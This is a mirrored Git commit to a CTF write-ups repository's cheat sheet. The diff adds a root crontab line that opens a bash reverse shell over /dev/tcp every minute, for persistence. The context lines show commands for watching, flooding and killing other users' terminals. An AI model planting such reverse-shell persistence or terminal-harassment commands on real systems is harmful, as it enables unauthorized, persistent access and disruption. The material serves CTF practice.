mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-09-20 06:11:56 +00:00
Update Cheat Sheet.md
This commit is contained in:
parent
58749974d3
commit
b2c4decfa6
1 changed files with 4 additions and 1 deletions
|
@ -306,7 +306,10 @@ If there is a port 53 open on the machine you could do a zone transfer to get in
|
|||
* script /dev/pts/pts-number `montior terminal`
|
||||
* cat /dev/urandom > /dev/pts/pts-number 2>/dev/null `prints arbitary text on terminal`
|
||||
* pkill -9 -t pts/pts-number
|
||||
|
||||
* Add this in root's crontab (crontab -e) <br />
|
||||
```
|
||||
*/1 * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/2222 0>&1'
|
||||
```
|
||||
### Change SSH port
|
||||
`nano /etc/ssh/sshd_config` (change PORT 22 to any port you want also you can tinker with configuration file)
|
||||
`service sshd restart` (Restart SSH service to apply changes)
|
||||
|
|
Loading…
Reference in a new issue